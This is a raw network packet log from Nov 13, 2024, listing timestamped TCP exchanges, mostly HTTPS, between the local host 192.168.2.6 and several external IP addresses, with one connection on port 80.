Nov 13, 2024 18:08:30.889157057 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.890553951 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.890563965 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.913517952 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.913652897 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.913746119 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.913783073 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.913790941 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.913820982 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.917768002 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.917942047 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.918118954 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.920269012 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.920269012 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.920290947 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.920301914 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.924853086 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.924880028 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.925030947 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.927871943 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.927896023 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.949799061 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.955074072 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.955074072 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.955089092 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.955180883 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.958579063 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.958614111 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.958673000 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.958698988 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.958708048 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.958719015 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.958777905 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.958947897 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.958954096 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959145069 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959167957 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959197044 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959197998 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.959206104 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959261894 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959271908 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.959278107 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.959361076 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.959976912 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.960010052 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.960117102 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.960124969 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.960192919 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.960197926 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.960552931 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961087942 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961122036 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.961127996 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961147070 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961179018 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961282015 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.961288929 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961700916 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961729050 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.961813927 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.961819887 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.962497950 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.963331938 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.963587999 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.963620901 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.963648081 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.963655949 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.963893890 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.967591047 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:31.037533045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:31.042934895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:31.087129116 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:31.087230921 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:31.087405920 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:31.087415934 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:31.215069056 CET	443	49879	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.215177059 CET	443	49879	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.215192080 CET	49879	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.215255976 CET	49879	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.227688074 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.238269091 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.238269091 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.238282919 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.238301992 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.264010906 CET	443	49880	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.264137983 CET	49880	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.266418934 CET	443	49881	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.266484022 CET	49881	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.268244982 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.269721031 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.269737959 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.270330906 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.270335913 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.281511068 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.281857967 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.281873941 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.282439947 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.282454967 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.365298986 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.365631104 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.365663052 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.365678072 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.365712881 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.365788937 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.365802050 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.370810986 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.370831013 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.370920897 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.371216059 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.371229887 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.409835100 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.409894943 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.409945011 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.410078049 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.410090923 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.410099030 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.410104036 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.416384935 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.416389942 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.416424036 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.416497946 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.416600943 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.416618109 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.416745901 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.416762114 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.417503119 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.417686939 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.418605089 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.418690920 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.418771029 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.418800116 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.421591997 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.421813965 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.421830893 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.421879053 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.423032999 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.423083067 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.423928022 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.423989058 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.424321890 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.424330950 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.425762892 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.425796986 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.425818920 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.425837040 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.425947905 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.425957918 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.425968885 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.425976038 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.427011967 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.427232981 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.427253962 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.428129911 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.428206921 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.429033041 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.429092884 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.429162025 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.429174900 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.432362080 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.432383060 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.432451010 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.432571888 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.432579994 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.482218981 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.482244968 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.482405901 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.482673883 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.482688904 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.508675098 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.508675098 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.543972015 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.592488050 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.592525959 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.592626095 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.592914104 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.592928886 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.592976093 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.593101978 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.593116045 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.593252897 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.593266010 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.629450083 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.629486084 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.629539013 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.629549026 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.629590988 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.629632950 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.629720926 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.629887104 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.629911900 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.629921913 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.629968882 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.630484104 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:31.630496025 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:31.631541967 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:31.631550074 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:31.776588917 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.777019024 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.779249907 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.779278994 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.779745102 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.779751062 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.784080982 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.784101009 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.784497976 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.784502983 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.914587021 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.914730072 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.914925098 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.915545940 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.915708065 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.915791035 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.936737061 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.936737061 CET	49888	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.936758041 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.936772108 CET	443	49888	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.937735081 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.937735081 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.937757969 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.937767982 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.942416906 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.942461967 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.942526102 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.943218946 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.943233967 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.945908070 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.945924997 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:31.945983887 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.946129084 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:31.946139097 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.078011990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.078059912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.105962992 CET	49897	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.106020927 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.106313944 CET	49897	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.106642008 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.106678009 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.106950045 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.107516050 CET	49897	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.107569933 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.107923031 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.107968092 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.108031034 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.108949900 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.108985901 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.109049082 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.109200001 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.109211922 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.109461069 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.109486103 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.109580994 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.109592915 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.138757944 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.138776064 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.138885975 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.139127016 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.139142036 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.194251060 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.195092916 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.195125103 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.195597887 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.195602894 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.240438938 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.240957022 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.240968943 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.241002083 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.241261005 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.241576910 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.241600990 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.241630077 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.241636038 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.241852045 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.242060900 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.242068052 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.246205091 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.246505022 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.246519089 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.246762037 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.247019053 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.247065067 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.247131109 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.248806953 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.249021053 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.249039888 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.249320984 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.249605894 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.249660969 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.249713898 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.283325911 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.291327000 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.291330099 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.302021027 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.304152966 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.304169893 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.304610968 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.304615974 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.327089071 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.327333927 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.327397108 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.327589989 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.327603102 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.327611923 CET	49891	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.327617884 CET	443	49891	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.330311060 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.330364943 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.331072092 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.331271887 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.331301928 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.371642113 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.371694088 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.372350931 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.372618914 CET	49892	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.372629881 CET	443	49892	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.378844023 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.378875017 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.378926039 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.378974915 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.379012108 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.379302025 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.379322052 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.379347086 CET	49890	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.379353046 CET	443	49890	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.380158901 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.380578995 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.380659103 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.382112980 CET	49894	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.382127047 CET	443	49894	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.382579088 CET	49903	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.382597923 CET	443	49903	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.382765055 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.382826090 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.382833004 CET	49903	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.382885933 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.383080959 CET	49903	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.383095980 CET	443	49903	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.383197069 CET	49893	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:32.383210897 CET	443	49893	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:32.384337902 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.384371042 CET	443	49904	13.107.246.45	192.168.2.6
